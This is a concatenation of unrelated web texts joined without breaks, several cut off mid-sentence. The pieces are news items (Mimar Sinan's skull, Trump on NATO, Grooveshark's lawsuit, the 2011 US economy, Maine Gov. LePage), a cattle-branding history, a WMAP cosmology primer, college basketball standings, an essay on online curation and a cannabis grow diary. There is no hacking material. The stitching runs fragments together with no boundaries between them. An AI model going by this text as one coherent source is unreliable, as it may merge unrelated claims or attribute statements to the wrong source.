So what might be the minimum set of technology platforms you would need? First you will need a cost-effective place to store the data such as Hadoop, while you aggregate, match, cleanse, transform and even consume the data. Next you need a tool to extract or load the data like Talend, Pentaho or RedPoint or even Sqoop. Once the data is extracted, tools like Trifacta can help cleanse it. Then you will need to transform the data, again using tools like Talend, Pentaho or RedPoint or even Sqoop. If you require more complex analytical pipelines to transform the data, in-memory analytical frameworks such as Spark can be very powerful. You may also be able to find tools that combine one or more of these functions. For instance, hybrid databases like SAP HANA and Splice Machine can simultaneously support both real-time operational applications with analytical queries. The combination of MapR-DB and Map |
as far as to make a 16 minute long video to reason the problems found with arguments found in Trypal’s video.
On the same exact day as LegacyKillaHD video went up, YouTuber The Act Man wanted to dive in and understand why people defend EA, Star Wars Battlefront 2, undisclosed microtransactions, and RNG-based loot-boxes:
“It’s hard to believe, but yes some people are defending EA and Star Wars: Battlefront 2 and it’s loot boxes. At least in this case, the video defending them is playing Devil’s Advocate. Is there any legitimacy found here? Are the actions of EA indefensible? Only one way to find out….”
If you don’t own Star Wars Battlefront 2 but you feel like you need a solution because you want to try it, whether you like him or not, movie reviewer Chris Stuckman suggests that leery gamers should rent it due to the following:
Given that government bodies have stepped in to investigate practices that EA and DICE have worked up through Star wars Battlefront 2 — such as Democratic member of the Hawaii House of Representatives, Chris Lee — it does raise the question: What will happen to the future of video games especially if people keep defending practices like the ones exhibited by Electronic Arts?Image copyright Wikimedia/Kudelski Image caption Mimar Sinan designed buildings and bridges across the Ottoman Empire
Turkey's prime minister has ordered an investigation into the disappearance of the skull of architect Mimar Sinan, who designed some of the Ottoman Empire's most celebrated buildings.
Sinan, who lived in the 16th Century, was buried in a tomb near Istanbul's Suleiman Mosque, both of which he designed. His skull was removed for study in 1935 by a group of historians, but - for reasons lost in time - was never replaced, the Daily Sabah newspaper reports. Now Prime Minister Ahmet Davutoglu says he's determined to find out its whereabouts.
"We will utilise all our tools, including DNA analysis, to find and return the skull to put an end to this blight to his memory," Mr Davutoglu said during a visit to the Suleiman Mosque, calling the affair "a shameful episode" in the country's history. "Sinan amalgamated an entire civilisation and left it to us, and we couldn't even protect his body," he said.
The removal of Sinan's skull came at a time of increased nationalism and racism, the Haberler newspaper says, and it's thought that scientists wanted to measure his head to assess the possible brain capacity of the man regarded as an architectural genius.
For Mr Davutoglu, the loss of the skull is comparable to poor decisions which he says let "monstrous" modern buildings "betray" Istanbul's skyline. He says, from now on, ministers should not approve any building that harms the city's "nature and historical fibre". "If we had truly learned Sinan's lessons, we would have never erected these buildings."
Image copyright AFP Image caption The Suleiman Mosque in Istanbul is Sinan's best-known work
Next story: Italian bookshops refuse to stock mafia family memoir
Use #NewsfromElsewhere to stay up-to-date with our reports via Twitter.*Note appended below
When 19th century Texas land baron Samuel Maverick flouted tradition by refusing to brand his cattle, he could not have known his name would come to represent everything from brassy independence to Tom Cruise to Alaskan politicking. But his indifference toward the status quo soon gave unbranded cattle the ranching land over the nickname “mavericks,” and wranglers have been happily roping lawless bovines ever since.
Most things have changed in the last 200 years, but cattle branding isn’t one of them. The practice dates back to the beginning of livestock tending, and Ancient Egyptian brands like this lion-headed bronze iron burned hieroglyphics into cowhide in just the same way as ranchers do today (although with significantly more deference to the gods). The Spanish brought cattle ranching to Mexico, where a central brand registry was established in Mexico City as early as 1537. Cattle branding followed the Spanish into Texas and it grew alongside open range grazing in the mid-1800s to become the de facto means of identifying a cow from Bismark to Baja.
If done right, branding creates an indelible mark that allows ranchers to keep track of their stock, wayward cattle to be returned to their owners, and stolen cattle to be readily identified, an especially important trick in a time when theft or “cattle rustling” was a crime often met with death. Law-abiding ranch hands kept hand-written and carefully illustrated “brand books” on hand to identify and sort their cattle, and brands today are required to be registered with state or county agencies where a “brand inspector” keeps confusion in check.
What on the surface seems a straightforward practice of laconic, no-nonsense plainsmen, cattle branding is in fact a playground of design and cowboy semiotics. Symbols, visual puns and jaunty combinations of letters, numbers and styles make up a tradition of brand design that’s held steady through decades, giving rise to such notorious brands as the “XIT”, the “Running W” and the “7 Up”.
What’s in a brand? First and foremost, the language of cattle brands is constrained by the not insignificant fact that a brand’s design will be burned into the hide of a living animal. Complex and flowery designs are impractical, easy to flub and, most importantly, more painful for the animal being branded. “The simpler the better,” emphasizes Ken Miller of Long View Ranch in Mandan, North Dakota. “A lot of people want to build a complicated brand like something inside of something else, like a diamond or circle or heart. They work, but they’re harder on the animal.”
Miller brands over 200 of his own cattle yearly, but he channels his creative side by running a brand design business where he consults for outside clients. Their most frequent mistake? “People get carried away and they do stupid things.” Miller says he’s seen overblown designs like a cattle skull with three letters, plus eyes, ears and horns. “Just because you want it doesn’t mean it’s a good thing to put on an animal.”
Branding designs may have their limitations, but creativity and unique visual conventions thrive within the constraints. The letters, numbers and symbols in brand designs create countless distinct permutations, especially with various styles that can render a single letter into several distinct designs.
Take, for example, the letter “A”. Mark it at an angle and it’s a “leaning” or “tumbling A”. Topple it on its side and it becomes a “lazy A”. Turn it upside down and it’s a “crazy A”. Give it wings, feet or a semicircular rocker and make it “flying”, “walking” or “rocking”. Rendering the letter in curvy script makes it “running.” And that’s before adding numbers and symbols to make a brand even more distinct.
The vocabulary of cattle brands includes everyday objects that jocular cowboys adopted for their signature. Keys, hats, snakes, rocking chairs, guns, fish, panhandles, arrows, pitchforks and boots add flair to the common bars, circles, diamonds and crosses. Brands are read left to right, top to bottom and outside in, depending on the design, and the vernacular allows for puns and jokes within the design (take, for example, the Bar BQ, Open A Bar or 2 Lazy 2 P brands).
In the rough days of ranching, brands represented a singular opportunity for sentimentality. A brand became a symbol of pride for a family or ranch and passed down through generations of cattle owners. “They’re very proud of their brand,” says Miller. “That’s their logo. It’s personal. They want to stamp it on everything.”
But while cattle owners deployed their brands, cattle rustlers on the make were just as ingenious in coming up with ways to alter or falsify existing brands. Rustlers made use of “running irons” with hooked tips to forge or change brands, branding freehand under cover of night. Being caught by an angry cattleman with a running iron in your possession meant instant death for many rustlers, but the temptation was hard to resist. Adding a few lines or curves to a brand could quickly turn someone else’s cattle into your own, and inspired rustlers were skilled in the sleight of hand that could transform a “Bar S” into a “48” or a “Flying U” into a “7 Up”.
Although the practice of branding has waned somewhat since the decline of open-range grazing, a recent resurgence in old-school cattle rustling has ranchers revisiting their hot irons (or, as the case may be, freeze irons, a newer and less extreme technique that freezes instead of burns). Livestock prices are up and the struggling economy has spurred increased thefts of cattle, which can garner over $1,000 a head.
As a result, cattle owners who may never have branded before are designing new brands or reregistering old brands that have fallen out of use. Local law enforcement is encouraging the uptick in branding awareness.
“We have yet to find a system that can replace a hot brand on a cow,” Carl Bennett, director of the Louisiana Livestock Brand Commission, recently told USA Today. “There’s nothing in modern society that’s more sure.”
Editor’s Note:
A commenter has brought up that similarities exist between this post and a post by Smithsonian Magazine writer Jimmy Stamp, posted on April 30, 2013. Having examined both posts, the troubling similarities between the posts seem to be:
1. The final quote, both of which are taken from this USA Today article.
2. The use of imagery, mainly from the Texas Cattle Brand Registry, to illustrate the various types of letters and codes used in cattle branding.
3. Various points within the piece, while sourced to different outlets, are mirrored within each piece (the use of Egyptian cattle brands, the origin of the phrase “maverick”).
We have talked to the writer, who says that she read the Smithsonian post, but the similarities were unintentional. However, not acknowledging the Smithsonian story within the piece is a major error in judgment on her part, and on ours as editors. We apologize to the Smithsonian Magazine, Jimmy Stamp, and our readers.By Steve Holland
MILWAUKEE (Reuters) - Republican presidential front-runner Donald Trump on Saturday questioned the United States' protective relationship with Saudi Arabia and again accused U.S. allies of not pulling their weight in the NATO military alliance despite mounting bipartisan pressure on Trump to soften his tone.
The billionaire businessman told a campaign rally in Racine, Wisconsin that allies in the North Atlantic Treaty Organization "are not paying their fair share" and called the 28-nation alliance "obsolete."
"Either they pay up, including for past deficiencies, or they have to get out. And if it breaks up NATO, it breaks up NATO," Trump said.
Trump has frequently criticized NATO in recent weeks as the race for the Republican nomination for the Nov. 8 election has heated up.
At a campaign stop in Wausau, Wisconsin on Saturday, Trump expressed concerns over the United States' relationship with oil-rich Saudi Arabia, which Trump accused of not pitching in fair pay for U.S. defense.
"We take care of Saudi Arabia. Now nobody’s going to mess with Saudi Arabia because we’re watching them," he said.
"They’re not paying us a fair price. We’re losing our shirt," he said.
On Friday, Obama cast doubt on Trump's fitness for office after the former reality TV star refused to rule out using nuclear weapons in Europe and said Japan and South Korea might need nuclear arms.
"The person who made the statements doesn't know much about foreign policy or nuclear policy or the Korean peninsula, or the world generally," Obama said, warning that the world is closely watching the U.S. election rhetoric.
"I've said before that people pay attention to American
elections. What we do is really important to the rest of the
world,” Obama said.
Trump's comments on NATO have also sent ripples through the Republican Party, which has traditionally promoted a muscular foreign policy.
Tuesday could be a turning point in the Republican nomination race, when Wisconsin hosts its nominating contest. Trump, 69, trails his leading rival, U.S. Senator Ted Cruz, 45, of Texas in the Upper Midwestern state.
A Cruz win would make it harder for Trump to reach the magic number of 1,237 delegates needed to secure the nomination before
the Republican national convention in July. The winner will get
to claim all of Wisconsin's 42 delegates.
(Writing by Alana Wise; Editing by Alistair Bell and James Dalgleish)Image copyright Wales news service Image caption Magistrates heard Ceri Morgan 'panicked' when he realised he could not delete the image
A Tesco customer has been given a 12-month community order after changing the display image of a demonstration iPad to a pornographic photo.
Ceri Morgan, 40, uploaded the image onto the tablet and set it as the wallpaper, Swansea magistrates heard.
He tried to remove it before realising he could not delete the image.
Morgan, who was with his son at the Tesco Extra store in Fforestfach, Swansea, at the time, admitted "causing the display of indecent matter".
'Foolish'
He was spotted on CCTV by security staff and the police were called.
Swansea Magistrates' Court heard the picture was only seen by Tesco workers and not any members of the public when it was uploaded in October 2014.
Alex Scott, defending, said: "It was intended as a joke, it was not sexually motivated, it was an isolated and foolish decision."
Morgan must carry out 100 hours of unpaid work and was ordered to pay £85 costs and a victim surcharge of £60.The five Great Lakes, in all their glory, barely peek out from the veil of clouds and whooshing snowfall above them in a new satellite image captured Monday (Jan. 6) as the Arctic's polar vortex barreled southward.
NOAA's GOES-East satellite snapped this Midwest "whiteout" of sorts at 3:15 p.m. EST (2015 UTC), before sunset, providing side illumination to the clouds and lake-effect snow, which forms when cold air moves over warmer lake waters. That warm water evaporates and heats up the lowest layer of air; since warm air is less dense than cold air, it rises and begins to cool. The result? The water vapor condenses into clouds and falls as snow, sometimes as huge amounts of snow in these "lake-effect" bands.
"The posted GOES image is a blend of the satellite-observed visible and thermal-infrared brightness of the scene, overlaid on a NASA-provided true-color historical-satellite image of the USA," Dennis Chesters of NASA's Goddard Space Flight Center in Greenbelt, Md., wrote in an email. (The infrared detectors on satellites measure the heat of the ground, clouds, water, etc., and can distinguish features of clouds (like height, which corresponds to temperature) that visible light can't. ) [Photos: The 8 Snowiest Places on Earth]
This resulting image shows an area that extends from the Minnesota-Canadian border in the upper left to the Chesapeake Bay, including the Great Lakes, where temperatures dipped to an average of 20 degrees Fahrenheit (minus 7 degrees Celsius) with a wind chill near minus 50 F (minus 45 C), according to NASA.
Much of the ground in the image appears as wisps of whiteness. Although there isn't a precise, technical definition of whiteout, Chesters told LiveScience, "the term does a fine job of describing the conditions around the Great Lakes on Monday, Jan. 6, when broadcast news reporters were showing horizontally blowing snow and limited visibility in urban and highway videos from Minnesota, Chicago and Ohio."
(Chester added that clearly there is no whiteout at the surface in mid-Illinois where the ground can be seen fairly well. In Minnesota and Wisconsin, however, the surface appears featureless, suggesting limited visibility.)
The Arctic's air, the polar vortex, looks grey in the image. "The visible snowfields to the southwest of Lake Michigan show through the Arctic air there, which appears grey, the tone assigned to the low values of infrared emission normally indicating icy cloud tops," Chesters said.
In addition to providing viewers with stunning images of winter, these satellite observations also add to the science of meteorology. "The GOES satellite imagery helps meteorologists track lake-effect snow, which falls out of such low clouds as to be 'under the radar,'" Chesters said.
Follow Jeanna Bryner on Twitter and Google+. Follow us @livescience, Facebook & Google+. Original article on LiveScience.
Copyright 2014 LiveScience, a TechMediaNetwork company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Don’t think of corporations, the term has been bastardized to the point where it means anybody or anything that has risen above and solidified an audience. That’s who and what rules in the internet age. And it’s harder than ever to get there.
That’s the untold story of the past five internet years. How we went from a free-for-all to solidification, how barriers to entry have been established that you may not be able to codify or see, but that are there nonetheless.
The audience is overwhelmed with choice/input. Just think of TV. You’ve got the five hundred channels on cable plus Hulu, Amazon and Netflix. You can’t see everything, you can’t even try. It’s overwhelming. So we gravitate to that which everybody else does. He or she who rises above becomes ever more popular.
So a curator can be a brand. That’s what’s wrong with the playlists on Beats and Spotify. We have no idea who created them, and until we do, it’s hard to pay attention. A curator we believe in will take us places we didn’t previously choose to go, because we have faith in them. You know, a friend whose taste you trust who tells you to listen to something, which you don’t like at first, but you slog through, because they said so.
When a newspaper tells you to do something, you don’t. That’s what papers have lost, their credibility when it comes to the arts. They’re in bed with the purveyors and have blown our trust.
But now we’ve got a plethora of people trying to gain our trust online. And most are doing it for the money. Which turns us off, because so many of us are broke or challenged. We want like-minded people, in bed with us, to tell us what to do. This is the essence of the problem with the Tidal press conference, it was them versus us, no matter what they were trying to say.
Curation is a nascent field. It’s still being sorted out. In article curation, we’ve got Jason Hirschhorn, Dave Pell and the Skimm women. But Pell is a one man band, can he compete against Hirschhorn and the Skimm without investment? Just watch “Shark Tank,” there’s a tsunami of orders after you appear on the show, can you fulfill them?
And timing is everything. You used to be able to go viral. We were all hungry for info, we loved trading music online like we did jokes back in the heady days of AOL in the nineties.
But when was the last time someone e-mailed you a joke?
And no one cares when you e-mail an MP3, god forbid, or a link to YouTube or Spotify, unless you’ve previously gained their trust. We’ve got enough music, we’re overwhelmed with input.
The deejay used to be the curator in the free-form radio days. Very few got the gig, we had faith in them.
Will there be superstar curators?
Probably, let’s hope so.
But just throwing a ton of playlists at us does not solve the problem. I don’t want one for sleeping and peeing and farting and screwing… I want one that speaks to me uniquely, yet makes me feel part of humanity!
P.S. The rules are in flux! They’re constantly changing! Don’t be a politician, afraid to admit the game has changed or you’re wrong for fear of gotcha ads and rearguard constituents who can’t handle the truth. “Harlem Shake” killed the viral video. Because its success was manipulated and people found out about it. You cannot act like the landscape doesn’t change. People had to buy CDs of full albums in the nineties, now they can pick and choose the hits they want to hear and even if you create something very good on the other nine or eleven tracks on an album, most people won’t check them out. So, you’ve got to think of a new way of tackling the public.
P.P.S. You’ve also got to decide if you want to reach everyone or someone. Go for world domination or an audience that will keep you alive. Amanda Palmer has a world-dominating story, but her music is for very few. Furthermore, everything grows out of her music, so she must keep doing that and chances are her further movements in distribution and marketing won’t gain as much attention.
P.P.P.S. If Walt Mossberg and Kara Swisher started ReCode five years earlier it would have had a much better chance of standalone success. So, an idea might be good for today, but terrible for tomorrow. One characteristic of a winner is someone who is constantly taking the temperature, who realizes we live on shifting sands.
P.P.P.P.S. Establish who your audience is. If you’ve got an app you want to flip… You need VC money and a corporation to buy it. Sure, you need traffic, but you’re really selling to the VC and corporation. Whereas if you’re an artist, you’re selling to the end consumer. The end consumer must be paramount in your plan.
P.P.P.P.P.S. We don’t need you or your plan. Life is an endless river that never stops flowing, the same water never passes by again. Don’t overestimate your importance, know that nothing is forever, do great work, but realize you must get in the boat and float, and that going upstream rarely pays dividends, thirteen year olds rarely want the music of septuagenarians, it’s the way of the world.Assembly line workers Dave Zamora, left, and Steven Saleem work on a pre-production Chevrolet Sonic at a General Motors plant. U.S. manufacturing activity expanded in May at the slowest pace in 20 months. (Paul Sancya/AP)
The economic recovery is faltering, and Washington is running out of ways to get it back on track.
Two bright spots over the past few months — manufacturing and job creation by private companies — both slowed in May, according to new reports this week. The data come amid other reports of falling home prices, declining auto sales, weaker consumer spending and a rising pace of layoffs.
The stock market reacted quickly to the bad news. Stocks were sluggish on Thursday’s opening after tumbling hard Wednesday, with the Dow Jones industrial average dropping at its sharpest pace since June and the Standard & Poor’s 500 index showing its steepest decline since August.
Just a few months ago, the economy seemed poised to finally strengthen. Business confidence was rising, and extensive government efforts to foster growth were underway. But those hopes are being dashed. Forecasters who once projected economic growth of 3.5 to 4 percent for the year have slashed their estimates with each round of disappointing numbers.
Instead of accelerating, the U.S. economy is puttering along at a growth rate of 2 to 3 percent — barely enough to bring down joblessness, if at all.
“The recovery continues, but at a disturbingly slow pace,” said Diane Swonk, chief economist for Mesirow Financial.
The weak expansion comes despite government efforts to boost it: a payroll tax cut that took effect in January and an initiative by the Federal Reserve to pump $600 billion into the ailing economy by buying Treasury bonds. But the Fed is unlikely to take further action, and Congress is focused on reducing the budget deficit instead of tax cuts or new spending that might spur economic activity.
The worsening economic prospects reflect, in part, the effects of the Japanese earthquake and tsunami in March, which caused disruptions for some U.S. manufacturers, and a spike in oil prices this year. On Thursday retailers reported only a slight uptick in sales for May as consumers cope with higher gas and food prices.
But it is the underlying weakness of the U.S. economy that may have allowed these developments to knock the recovery off course.
“We’re structurally in a place where we’re going to be more vulnerable to downside risks than if the economy was growing strongly, and that’s what we’re seeing right now,” said Robert A. Dye, senior economist at PNC Financial Services Group. “We’re not far above stall speed.”
The signs are not all bad. Prices for oil and other globally traded commodities have gone down substantially since the end of April, and will eventually lower the costs of gasoline and other goods, and the impact of the earthquake will subside as factories in Japan reopen. Moreover, U.S. businesses this year have been cutting inventories that they will eventually need to rebuild, spurring economic activity.
But the outlook, as projected by economic forecasters and implied in government data, is clearly dimming. Economists at J.P. Morgan Chase on Wednesday lowered their projection for 2011 growth in gross domestic product to 2 percent. A week ago, those same economists had reduced the figure to 2.5 percent.
Reflecting rising pessimism, the interest rate that the Treasury Department must pay to borrow money for 10 years fell to 2.95 percent Wednesday, from 3.06 percent on Tuesday and 3.74 percent in February. As investors grow anxious, they are moving money into the safety of government bonds. Investors are also anticipating that the Federal Reserve respond by keeping interest rates low for longer than previously expected.
Among the economic information that unsettled markets was a report by the Institute for Supply Management, which said that its index of manufacturing activity fell to 53.5 in May from 60.4 in April. Numbers above 50 indicate expansion, and analysts had expected a more modest pullback to 57.1. The new numbers showed the slowest rate of factory expansion since September 2009.
New orders and production fell the most. This was probably caused by disruptions in automobile and other production after the Japanese disaster, which hurt supply chains around the world.
“Elevated commodity prices, slowing global growth and an increasingly questionable outlook for the U.S. economy are creating head winds for the factory sector, which thus far has been the one strong element in an otherwise sluggish U.S. economic rebound,” said Cliff Waldman, economist at the Manufacturers Alliance/MAPI, a trade group.
On Thursday the Labor Department reported that fewer Americans applied for unemployment benefits last week, falling by 6,000 to 422,000. But that level is still too high to sustain job creation, which slowed sharply last month at private businesses, according to ADP, the payroll processing company. Firms added 38,000 jobs, ADP estimated, compared with 179,000 jobs added in April.
On Friday, the Labor Department will release its report on May job growth and the unemployment rate. Economists expect that about 180,000 jobs were created last month, dropping from 244,000 in April, and that the unemployment rate has edged down to 8.9 percent from 9 percent.
The U.S. economy has sputtered several times while recovering from the trauma of the financial crisis. Last summer, as growth slowed and analysts began to fear a dip back into recession, the government swung into action. The Fed began discussing what would become known as QE2, or the second round of quantitative easing — a $600 billion bond-purchase program aimed at fueling growth. And by the end of the year, the Obama administration had reached an accord with Congress to temporarily cut payroll taxes to boost growth.
But the prospects for another round of government help are slim. The Fed had undertaken its massive bond-buying program last year in large part because leaders of the central bank were worried about the risk of deflation, or falling prices. By contrast, prices today are edging up. The bond market is pricing in inflation of just under 2 percent a year over the coming five years, exactly the level the Fed seeks.
Moreover, Fed officials believe that further efforts could have less bang for the buck than previous ones.
The administration and Congress, meanwhile, are now more concerned with cutting the federal budget deficit than with supporting the recovery through government spending and tax breaks.Cosmology: The Study of the Universe
Cosmology is the scientific study of the large scale properties of the universe as a whole. It endeavors to use the scientific method to understand the origin, evolution and ultimate fate of the entire Universe. Like any field of science, cosmology involves the formation of theories or hypotheses about the universe which make specific predictions for phenomena that can be tested with observations. Depending on the outcome of the observations, the theories will need to be abandoned, revised or extended to accommodate the data. The prevailing theory about the origin and evolution of our Universe is the so-called Big Bang theory.
Choose from the links in the left column for discussed at length.
This primer in cosmological concepts is organized as follows:
The main concepts of the Big Bang theory are introduced in the first section with scant regard to actual observations.
The second section discusses the classic tests of the Big Bang theory that make it so compelling as the most likely valid and accurate description of our universe.
The third section discusses observations that highlight limitations of the Big Bang theory and point to a more detailed model of cosmology than the Big Bang theory alone provides. As discussed in the first section, the Big Bang theory predicts a range of possibilities for the structure and evolution of the universe.
The final section discusses what constraints we can place on the nature of our universe based on current data, and indicates how WMAP furthers our understanding of cosmology.
universe based on current data, and indicates how WMAP furthers our understanding of cosmology. In addition, a few related topics are discussed based on commmonly asked questions.
For purposed of citation of this portion of the site or the downloadable PDF you can use this information:
WMAP Science Team, "Cosmology: The Study of the Universe," NASA's Wilkinson Microwave Anisotropy Probe,last modified June 6, 2011, http://map.gsfc.nasa.gov/universe/WMAP_Universe.pdf or http://map.gsfc.nasa.gov/universe/Some Dallas police officers are getting an extra layer of protection that could quite literally save their lives.
A non-profit organization is outfitting 20 of Dallas PD's most vulnerable officers with specialized ballistic vests. They're called Angel Armor ballistic body plates and weigh just two pounds apiece.
“The [two] plates will fit front and back inside the vest,” said Brian Brown, Angel Armor product specialist.
When snapped together, they can withstand the bullet from a high powered rifle -- like the one used in the July 7 downtown Dallas ambush.
Angel Armor gave FOX4 a demonstration, using a similar high-caliber weapon. The bullets dented the plates but didn't go through.
Detective Corporal Brian Shawn was one of the officers wounded by the gunman on July 7 when bullet fragments penetrated his vest. He believes this new body armor could have prevented that.
“They will stand up to increased velocity firepower, such as firepower officers sadly met with on July 7,” said Maurine Dickey, Dickey's BBQ.
With a donation from Dickey's BBQ, 20 of the ballistic vests are being given to DPD's gang unit. The hope is with help from the community -- more will soon follow.
“You know that you have the equipment to go forth with confidence to know that you can do your job and end the threat, so to speak, and live to fight another day,” said Lt. Eric Roman, DPD Gang Unit.
Dickey's BBQ is starting a campaign to buy all 1,600 Dallas PD officers a vest, which cost $500 apiece. A donation gets you a picture of the officer whose vest you're actually buying and a personal letter from them.
DONATION INFORMATION: bbabfoundation.orgRemember Grooveshark, the magical website that let you stream any song you wanted, in high quality, for free? Did you ever wonder how such a thing managed to avoid legal annihilation? Trick question! It hasn't. Its lawsuit death is here.
The Next Web's Drew Olanoff reports Universal is suing Grooveshark for illegally uploading tracks—at $150,000 a track. That's a lot per track. Also, there are a ton of them—Grooveshark's chief is accused of uploading 1,971 songs of alone—so Grooveshark potentially owes around $15 billion. Grooveshark does not have $15 billion. Grooveshark would be lucky to even afford the lawyer fees to go up against Universal. And so, it's almost certain that they'll shut down, at the very, very least. Goodbye Grooveshark—if it seemed like you were too good to be true, it's because you were. I'm just shocked it took years to happen. [TNW]
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Photo: StringsOfASoulWith conference play now in full swing, here is a snapshot of where the Sun Belt teams stand after three weeks:
1. Georgia State Panthers (5-0, 12-6): Third year Head Coach Ron Hunter and his son, talented sophomore guard R.J. Hunter, have the Panthers clicking on all cylinders early in the conference season. The Panthers aren't just winning Sun Belt games, they are dominating most of them. Their two best wins both came by more than 20 points. On January 9th, the Panthers went to EA Diddle Arena in Bowling Green, KY and smacked WKU 77-54. Western's only two other home losses this year were a five point loss to Ole Miss and an overtime loss to UALR. Speaking of UALR, the most recent statement win for GSU came at the expense of the Trojans on January 18. The Panthers scored a whopping 59 first half points and cruised to a 99-73 win. GSU's total winning streak currently sits at nine games, including all five conference wins.
RJ Hunter, who was All-Everything last year as a Freshman in the CAA, has made the transition into the Sun Belt quite nicely. He is averaging 19.1 points per game, including an incredible 41 point performance in a win at UTSA in December. That day, he made 12 of 19 three point attempts. On the season, Hunter has made 57 three pointers in 18 games and is shooting them at 40%. Kentucky transfer, point guard Ryan Harrow, is averaging a cool 17.8 points and 4.6 assists per game to provide the Panthers with quite the 1-2 punch. Southern Cal transfer, junior forward Curtis Washington, adds power inside averaging 8.7 points, 6.2 rebounds, with 50 blocked shots.
This week: Thu at UL-Lafayette, Sat at UL-Monroe
2. Arkansas-Little Rock Trojans (4-2, 9-9): 11th year Head Coach Steve Shields' Trojans have turned it on nicely with the start of conference play. UALR's 4-2 start includes three road wins, the most impressive coming on January 16th at Western Kentucky. The Trojans prevailed 87-83 in overtime after erasing an eight point deficit with just over five minutes to play in regulation. Unfortunately for UALR, they followed up that win with a blowout loss at league-leading Georgia State. The Trojans rematch with the Panthers in Little Rock comes in early February.
Will Neighbour, a 6-10 forward, is a force for UALR. The senior from England averages 17.8 points and 7.2 rebounds per game. Sophomores James White and Josh Hagins both average over 11 points per game. White adds nearly six rebounds, while Hagins leads the team with more than three assists.
This week: Thu vs Texas St, Sat at Arkansas St
3. Louisiana-Monroe Warhawks (3-2, 6-7): Fourth year Head Coach Keith Richard's Warhawks made a statement right out of the gate, knocking off the rival Ragin' Cajuns in Double OT to kick off their Sun Belt slate. They followed that up with a pair of losses, including a 61-36 drubbing at home against Texas State. ULM responded, though, sweeping the Alabama swing and putting themselves back in position to be a factor in the race. The Warhawks next three games, and five of the next seven, are at home including a shot at Georgia St this Thursday.
The Warhawks have a balanced roster that features three players in double figure scoring, led by junior forward Tylor Ongwae's 15.8 and senior guard Amos Olatayo's 13.5 points per game. They also have four players averaging between 4.5 and 6.5 rebounds per game.
This week: Thu vs Western Kentucky, Sat vs Georgia St
3. Western Kentucky Hilltoppers (3-2, 11-7): Western's pre-conference results included a 68-65 win over a good Southern Miss squad, then their Sun Belt slate started strong. The Tops won a pair of road games, but most recently a 1-2 home stand included losses to other top contenders Georgia State and UALR.
Third year Head Coach Ray Harper's team currently has four players averaging at least 10 point per game. They are led by juniors T.J. Price and George Fant. Price scores 16.7 points and adds 4.5 rebounds and two assists per game. Fant scores 13.2 while leading the team with 7.6 rebounds.
This week: Thu at UL-Monroe, Sat at UL-Lafayette
3. Louisiana-Lafayette Ragin' Cajuns (3-2, 12-6): After a pre-conference slate highlighted by a road win against a really good Louisiana Tech team, fourth year Head Coach Bob Marlin's Cajuns figure to be a factor in the Sun Belt race. A couple of disappointing road losses (in 2 OT at ULM, and at South Alabama) have put them a little behind schedule, but the Cajuns get a big opportunity this week when they host unbeaten league-leading Georgia State and Western Kentucky at the Cajundome.
This Cajuns squad is led by the supremely talented duo of junior Elfrid Payton and sophomore Shawn Long. Both guys absolutely fill the stat sheet in every category. Pay |
will finish a bit early, the other 4 in about 2 weeks. Still not totally happy with the low stress training, bending and trimming out excess leaves, I expected more big cola's than the 5 I'll be getting now. It is probably wise to hire some external expertise for the next time...Januari 14, 2018Flowers are developing like expected, the plants look really healthy. By the way, the strain this time is Lemon Haze, nice and potent, flowering period is about 10 weeks. So the expected harvest day will be March 1.December 26, 2017Very bushy plant, but I want to remove the lower leaves and stems, they would create a lot of small buds, wasting nutrients and energy. I would rather have a 4-6 big cola's on each plant, and the way to achieve that is to make sure they are at an equal distance to the light source. This technique is also known as defoliation.After defoliation, only the most promising stems remain, about 50% of the plant is gone. Please note many growers will go further than this, removing much more plantmaterial. I will repeat taking the lower leaves and stems off in about 2 weeks, when growth has stoppedFor the first time, I transplanted the plants because I did not trust the soil they were in, and put them into fresh All-Mix. After a week or 2 of transplant shock, new growth appeared and they look very happy and healthy now. Switched to a 12/24 hours ccylce, flowering, a couple of days ago, and today also activated the Red led's, the Blue ones are Off. Please coem back for more.December 1, 2017Had some problems with brown crispy leaves, I think it was a Phospor shortage, probably caused by too cold and wet roots. I installed a heating mat under the pots and gave them some extra NPK, now the normal leaf colour is returning. In a few days they will be ready for flowering,November 24, 2017So far looking good, very bushy indeed. I still tie down the main stem, low stress training, to get more big buds out of just 5 plants.November 17, 2017I think the disappointing result was caused by old seeds and poor soil, for great results, I should have given the plants more attention.. So I have decided to do a retest. With 5 Lemon-Haze seeds in a 60*60 tent.MetricsHub
Microsoft announced today that it had acquired MetricsHub, a cloud monitoring startup that automates cloud performance management.
The Bellevue, Wash.-based company, which was a participant in Microsoft's three-month-long Accelerator program, helps customers interpret application data points to determine how and when to scale their application. Financial details of the acquisition were not revealed.
Microsoft's program provides 10 startups developing in the cloud with a $20,000 investment, office space, technical training and support, and mentorship from entrepreneurs. At the conclusion of the program, participants have the opportunity to pitch their product to Microsoft executives, investors, and the media.
"Cloud solutions are compelling for a variety of reasons -- scale, flexibility, and value -- particularly for companies looking to do more with less," Bob Kelly, Microsoft's corporate vice president for strategy and business development, wrote in a company blog post today. "To get real value out of those data points you need to automate how your application and cloud platform intelligently respond."
In a correlating blog post, MetricsHub announced that its formerly paid service would now be available for free.
"MetricsHub will now offer all Windows Azure customers our premium product as a pre-release, no charge, service available through the Windows Azure Store," the company said in a statement. "We will also be converting all paying customers to this no-charge version of the service and MetricsHub technology will continue to keep your cloud applications running."Maine Gov. Paul LePage (R) at his 2014 reelection party. He was popular then. (AP Photo/Robert F. Bukaty)
We originally wrote this post in June 2015 after Maine Gov. Paul LePage (R) said he'd like to shoot a local cartoonist. We are re-upping it in light of LePage saying he'll never speak to the press again. An updated post follows:
After a brief, reflective hiatus, Maine Gov. Paul LePage (R) is back. He's no longer considering resigning in the wake of a series of obscene, vulgar and offensive comments he's made in the past few days that have members of his own party considering forcing him to resign. And he's blaming all of his troubles on the media.
"I will no longer speak to the press ever again after today,” he told reporters Wednesday. “And I’m serious. Everything will be put into writing. I’m tired of being caught in the gotcha moments.”
The problem is, it's not clear how swearing off the media is going to help LePage recover his image and keep out of trouble. LePage is apparently forgetting that some of his most inflammatory comments were not cases of getting “caught in the gotcha moments” by reporters. Let's run down some examples:
His most recent profanity-laced rant — against a state lawmaker who supposedly called him racist — was delivered via voice mail. In the message, LePage invited Rep. Drew Gattine to make the recording public.
LePage’s most infamous remarks — about drug dealers named D-Money, Smoothie and Shifty impregnating “young white girl[s]” — came at a January town hall meeting in Bridgton, Maine, where reporters aren't even allowed to ask questions.
